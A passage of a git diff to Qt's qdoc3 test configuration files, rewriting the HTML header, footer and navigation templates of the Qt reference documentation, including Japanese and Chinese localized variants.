- " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global Declarations</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"box bottombar\" id=\"topics\">\n" \
- " <h2 title=\"Qt Topics\"><span></span>\n" \
- " Qt Topics</h2>\n" \
- " <div id=\"list002\" class=\"list\">\n" \
- " <ul id=\"ul002\" >\n" \
- " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Programming with Qt</a></li> \n" \
- " <li class=\"defaultLink\"><a href=\"qtquick.html\">Device UIs &amp; Qt Quick</a></li> \n" \
- " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">UI Design with Qt</a></li> \n" \
- " <li class=\"defaultLink\"><a href=\"developing-with-qt.html\">Cross-platform and Platform-specific</a></li> \n" \
- " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
- " <li class=\"defaultLink\"><a href=\"technology-apis.html\">Qt and Key Technologies</a></li> \n" \
- " <li class=\"defaultLink\"><a href=\"best-practices.html\">How-To's and Best Practices</a></li> \n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"box\" id=\"examples\">\n" \
- " <h2 title=\"Examples\"><span></span>\n" \
- " Examples</h2>\n" \
- " <div id=\"list003\" class=\"list\">\n" \
- " <ul id=\"ul003\">\n" \
- " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"wrap\">\n" \
- " <div class=\"toolbar\">\n" \
- " <div class=\"breadcrumb toolblock\">\n" \
- " <ul>\n" \
- " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
- " <!-- Bread crumbs goes here -->\n"
+HTML.postheader = \
+ "<div class=\"header\" id=\"qtdocheader\">\n" \
+ " <div class=\"content\"> \n" \
+ " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+ " </div>\n" \
+ " <div class=\"breadcrumb toolblock\">\n" \
+ " <ul>\n" \
+ " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+ " <!-- Breadcrumbs go here -->\n"
-HTML.postpostheader = " </ul>\n" \
- " </div>\n" \
- " <div class=\"toolbuttons toolblock\">\n" \
- " <ul>\n" \
- " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
- " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
- " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
- " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
- " <span>Print</span></a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"content mainContent\">\n"
+HTML.postpostheader = \
+ " </ul>\n" \
+ " </div>\n" \
+ "</div>\n" \
+ "<div class=\"content mainContent\">\n"
-HTML.footer = "" \
- " <div class=\"feedback t_button\">\n" \
- " [+] Documentation Feedback</div>\n" \
- " </div>\n" \
- " </div>\n" \
- " </div> \n" \
- " <div class=\"ft\">\n" \
- " <span></span>\n" \
- " </div>\n" \
- " </div> \n" \
- " <div class=\"footer\">\n" \
- " <p>\n" \
- " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
- " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
- " in Finland and/or other countries worldwide.</p>\n" \
- " <p>\n" \
- " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
- " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
- " <br />\n" \
- " <p>\n" \
- " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
- " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
- " with the terms contained in a written agreement between you and Nokia.</p>\n" \
- " <p>\n" \
- " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
- " Free Documentation License version 1.3</a>\n" \
- " as published by the Free Software Foundation.</p>\n" \
- " </div>\n" \
- " <div id=\"feedbackBox\">\n" \
- " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
- " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
- " <p id=\"noteHead\">Thank you for giving your feedback.</p> <p class=\"note\">Make sure it is related to this specific page. For more general bugs and \n" \
- " requests, please use the <a href=\"http://bugreports.qt.nokia.com/secure/Dashboard.jspa\">Qt Bug Tracker</a>.</p>\n" \
- " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\"></textarea></p>\n" \
- " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
- " </form>\n" \
- " </div>\n" \
- " <div id=\"blurpage\">\n" \
- " </div>\n"
+HTML.footer = \
+ " <div class=\"ft\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ "</div> \n" \
+ "<div class=\"footer\">\n" \
+ " <p>\n" \
+ " <acronym title=\"Copyright\">&copy;</acronym> 2008-2011 Nokia Corporation and/or its\n" \
+ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+ " in Finland and/or other countries worldwide.</p>\n" \
+ " <p>\n" \
+ " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+ " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+ " <br />\n" \
+ " <p>\n" \
+ " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+ " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+ " with the terms contained in a written agreement between you and Nokia.</p>\n" \
+ " <p>\n" \
+ " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+ " Free Documentation License version 1.3</a>\n" \
+ " as published by the Free Software Foundation.</p>\n" \
+ "</div>\n" \
+
+# Files not referenced in any qdoc file.
+# See also extraimages.HTML
+qhp.Qt.extraFiles = index.html \
+ images/arrow_down.png \
+ images/breadcrumb.png \
+ images/bullet_gt.png \
+ images/bullet_dn.png \
+ images/bullet_sq.png \
+ images/bullet_up.png \
+ images/horBar.png \
+ images/sprites-combined.png \
+ style/offline.css
diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf
new file mode 100644
index 0000000..fa15d90
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf
@@ -0,0 +1,176 @@
+include(qt-html-online-styles.qdocconf)
+
+HTML.postheader = \
+" <div class=\"header\" id=\"qtdocheader\">\n" \
+ " <div class=\"content\"> \n" \
+ " <div id=\"nav-logo\">\n" \
+ " <a href=\"index.html\">Home</a></div>\n" \
+ " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+ " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
+ " </fieldset>\n" \
+ " </form></div>\n" \
+ " <div id=\"nav-topright\">\n" \
+ " <ul>\n" \
+ " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+ " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
+ " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+ " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+ " DOC</a></li>\n" \
+ " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
+ " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div id=\"shortCut\">\n" \
+ " <ul>\n" \
+ " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
+ " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
+ " </a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
+ " <li><a href=\"#\">API Lookup</a> \n" \
+ " <ul id=\"topmenuLook\"> \n" \
+ " <li><a href=\"classes.html\">Class index</a></li> \n" \
+ " <li><a href=\"functions.html\">Function index</a></li> \n" \
+ " <li><a href=\"modules.html\">Modules</a></li> \n" \
+ " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
+ " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
+ " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Qt Topics</a> \n" \
+ " <ul id=\"topmenuTopic\"> \n" \
+ " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
+ " <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
+ " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
+ " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " <li><a href=\"#\">Examples</a> \n" \
+ " <ul id=\"topmenuexample\"> \n" \
+ " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
+ " <li><a href=\"tutorials.html\">チュートリアル</a></li> \n" \
+ " <li><a href=\"demos.html\">Demos</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
+ " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
+ " </ul> \n" \
+ " </li> \n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrapper\">\n" \
+ " <div class=\"hd\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " <div class=\"bd group\">\n" \
+ " <div class=\"sidebar\">\n" \
+ " <div class=\"searchlabel\">\n" \
+ " Search index:</div>\n" \
+ " <div class=\"search\">\n" \
+ " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
+ " </fieldset>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div class=\"box first bottombar\" id=\"lookup\">\n" \
+ " <h2 title=\"API Lookup\"><span></span>\n" \
+ " API Lookup</h2>\n" \
+ " <div id=\"list001\" class=\"list\">\n" \
+ " <ul id=\"ul001\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box bottombar\" id=\"topics\">\n" \
+ " <h2 title=\"Qt Topics\"><span></span>\n" \
+ " Qt Topics</h2>\n" \
+ " <div id=\"list002\" class=\"list\">\n" \
+ " <ul id=\"ul002\" >\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"box\" id=\"examples\">\n" \
+ " <h2 title=\"Examples\"><span></span>\n" \
+ " Examples</h2>\n" \
+ " <div id=\"list003\" class=\"list\">\n" \
+ " <ul id=\"ul003\">\n" \
+ " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"tutorials.html\">チュートリアル</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
+ " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
+ " </ul> \n" \
+ " </div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"wrap\">\n" \
+ " <div class=\"toolbar\">\n" \
+ " <div class=\"breadcrumb toolblock\">\n" \
+ " <ul>\n" \
+ " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+ " <!-- Bread crumbs goes here -->\n"
+
+HTML.postpostheader = \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div class=\"toolbuttons toolblock\">\n" \
+ " <ul>\n" \
+ " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+ " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+ " <span>Print</span></a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"content\">\n"
+
+HTML.footer = \
+ " <!-- /div -->\n" \
+ " <div class=\"feedback t_button\">\n" \
+ " [+] Documentation Feedback</div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"ft\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " </div> \n" \
+ " <div class=\"footer\">\n" \
+ " <p>\n" \
+ " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+ " in Finland and/or other countries worldwide.</p>\n" \
+ " <p>\n" \
+ " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+ " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+ " <br />\n" \
+ " <p>\n" \
+ " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+ " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+ " with the terms contained in a written agreement between you and Nokia.</p>\n" \
+ " <p>\n" \
+ " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+ " Free Documentation License version 1.3</a>\n" \
+ " as published by the Free Software Foundation.</p>\n" \
+ " </div>\n" \
+ " <div id=\"feedbackBox\">\n" \
+ " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+ " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+ " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+ " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div id=\"blurpage\">\n" \
+ " </div>\n"
diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf
index da20766..18ed5c1 100644
--- a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf
+++ b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf
@@ -1,177 +1,63 @@
-HTML.stylesheets = style/style.css \
- style/OfflineStyle.css \
- style/style_ie7.css \
- style/style_ie8.css \
- style/style_ie6.css
-
-HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \
- " <div class=\"content\"> \n" \
- " <div id=\"nav-logo\">\n" \
- " <a href=\"index.html\">Home</a></div>\n" \
- " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
- " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
- " <fieldset>\n" \
- " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
- " </fieldset>\n" \
- " </form></div>\n" \
- " <div id=\"nav-topright\">\n" \
- " <ul>\n" \
- " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
- " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
- " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
- " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
- " DOC</a></li>\n" \
- " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
- " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " <div id=\"shortCut\">\n" \
- " <ul>\n" \
- " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.7</a></span></li>\n" \
- " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \
- " </a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \
- " <li><a href=\"#\">API Lookup</a> \n" \
- " <ul id=\"topmenuLook\"> \n" \
- " <li><a href=\"classes.html\">Class index</a></li> \n" \
- " <li><a href=\"functions.html\">Function index</a></li> \n" \
- " <li><a href=\"modules.html\">Modules</a></li> \n" \
- " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \
- " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \
- " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " <li><a href=\"#\">Qt Topics</a> \n" \
- " <ul id=\"topmenuTopic\"> \n" \
- " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \
- " <li><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li> \n" \
- " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \
- " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " <li><a href=\"#\">Examples</a> \n" \
- " <ul id=\"topmenuexample\"> \n" \
- " <li><a href=\"all-examples.html\">Examples</a></li> \n" \
- " <li><a href=\"tutorials.html\">チュートリアル</a></li> \n" \
- " <li><a href=\"demos.html\">Demos</a></li> \n" \
- " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \
- " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \
- " </ul> \n" \
- " </li> \n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"wrapper\">\n" \
- " <div class=\"hd\">\n" \
- " <span></span>\n" \
- " </div>\n" \
- " <div class=\"bd group\">\n" \
- " <div class=\"sidebar\">\n" \
- " <div class=\"searchlabel\">\n" \
- " Search index:</div>\n" \
- " <div class=\"search\">\n" \
- " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \
- " <fieldset>\n" \
- " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \
- " </fieldset>\n" \
- " </form>\n" \
- " </div>\n" \
- " <div class=\"box first bottombar\" id=\"lookup\">\n" \
- " <h2 title=\"API Lookup\"><span></span>\n" \
- " API Lookup</h2>\n" \
- " <div id=\"list001\" class=\"list\">\n" \
- " <ul id=\"ul001\" >\n" \
- " <li class=\"defaultLink\"><a href=\"classes.html\">Class index</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"functions.html\">Function index</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"box bottombar\" id=\"topics\">\n" \
- " <h2 title=\"Qt Topics\"><span></span>\n" \
- " Qt Topics</h2>\n" \
- " <div id=\"list002\" class=\"list\">\n" \
- " <ul id=\"ul002\" >\n" \
- " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's &amp; Qt Quick</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"box\" id=\"examples\">\n" \
- " <h2 title=\"Examples\"><span></span>\n" \
- " Examples</h2>\n" \
- " <div id=\"list003\" class=\"list\">\n" \
- " <ul id=\"ul003\">\n" \
- " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"tutorials.html\">チュートリアル</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \
- " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \
- " </ul> \n" \
- " </div>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"wrap\">\n" \
- " <div class=\"toolbar\">\n" \
- " <div class=\"breadcrumb toolblock\">\n" \
- " <ul>\n" \
- " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
- " <!-- Bread crumbs goes here -->\n"
+include(qt-html-default-styles.qdocconf)
-HTML.postpostheader = " </ul>\n" \
- " </div>\n" \
- " <div class=\"toolbuttons toolblock\">\n" \
- " <ul>\n" \
- " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
- " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
- " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
- " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
- " <span>Print</span></a></li>\n" \
- " </ul>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"content\">\n"
+HTML.postheader = \
+ " <div class=\"header\" id=\"qtdocheader\">\n" \
+ " <div class=\"wrap\">\n" \
+ " <div class=\"toolbar\">\n" \
+ " <div class=\"breadcrumb toolblock\">\n" \
+ " <ul>\n" \
+ " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \
+ " <!-- Bread crumbs goes here -->\n"
-HTML.footer = " <!-- /div -->\n" \
- " <div class=\"feedback t_button\">\n" \
- " [+] Documentation Feedback</div>\n" \
- " </div>\n" \
- " </div>\n" \
- " <div class=\"ft\">\n" \
- " <span></span>\n" \
- " </div>\n" \
- " </div> \n" \
- " <div class=\"footer\">\n" \
- " <p>\n" \
- " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
- " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
- " in Finland and/or other countries worldwide.</p>\n" \
- " <p>\n" \
- " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
- " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
- " <br />\n" \
- " <p>\n" \
- " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
- " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
- " with the terms contained in a written agreement between you and Nokia.</p>\n" \
- " <p>\n" \
- " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
- " Free Documentation License version 1.3</a>\n" \
- " as published by the Free Software Foundation.</p>\n" \
- " </div>\n" \
- " <div id=\"feedbackBox\">\n" \
- " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
- " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
- " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
- " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
- " </form>\n" \
- " </div>\n" \
- " <div id=\"blurpage\">\n" \
- " </div>\n"
+HTML.postpostheader = \
+ " </ul>\n" \
+ " </div>\n" \
+ " <div class=\"toolbuttons toolblock\">\n" \
+ " <ul>\n" \
+ " <li id=\"smallA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"medA\" class=\"t_button active\">A</li>\n" \
+ " <li id=\"bigA\" class=\"t_button\">A</li>\n" \
+ " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \
+ " <span>Print</span></a></li>\n" \
+ " </ul>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"content\">\n"
+
+HTML.footer = \
+ " <!-- /div -->\n" \
+ " <div class=\"feedback t_button\">\n" \
+ " [+] Documentation Feedback</div>\n" \
+ " </div>\n" \
+ " </div>\n" \
+ " <div class=\"ft\">\n" \
+ " <span></span>\n" \
+ " </div>\n" \
+ " </div> \n" \
+ " <div class=\"footer\">\n" \
+ " <p>\n" \
+ " <acronym title=\"Copyright\">&copy;</acronym> 2008-2010 Nokia Corporation and/or its\n" \
+ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \
+ " in Finland and/or other countries worldwide.</p>\n" \
+ " <p>\n" \
+ " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \
+ " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \
+ " <br />\n" \
+ " <p>\n" \
+ " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \
+ " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \
+ " with the terms contained in a written agreement between you and Nokia.</p>\n" \
+ " <p>\n" \
+ " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \
+ " Free Documentation License version 1.3</a>\n" \
+ " as published by the Free Software Foundation.</p>\n" \
+ " </div>\n" \
+ " <div id=\"feedbackBox\">\n" \
+ " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \
+ " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \
+ " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \
+ " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \
+ " </form>\n" \
+ " </div>\n" \
+ " <div id=\"blurpage\">\n" \
+ " </div>\n"
diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf
new file mode 100644
index 0000000..285ec27
--- /dev/null
+++ b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf
@@ -0,0 +1,176 @@
+include(qt-html-online-styles.qdocconf)
+
+HTML.postheader = \
+ " <div class=\"header\" id=\"qtdocheader\">\n" \
+ " <div class=\"content\"> \n" \
+ " <div id=\"nav-logo\">\n" \
+ " <a href=\"index.html\">Home</a></div>\n" \
+ " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \
+ " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \
+ " <fieldset>\n" \
+ " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \
+ " </fieldset>\n" \
+ " </form></div>\n" \
+ " <div id=\"nav-topright\">\n" \
+ " <ul>\n" \
+ " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \
+ " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \
+ " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \
+ " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \
+ " DOC</a></li>\n" \
+ " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \
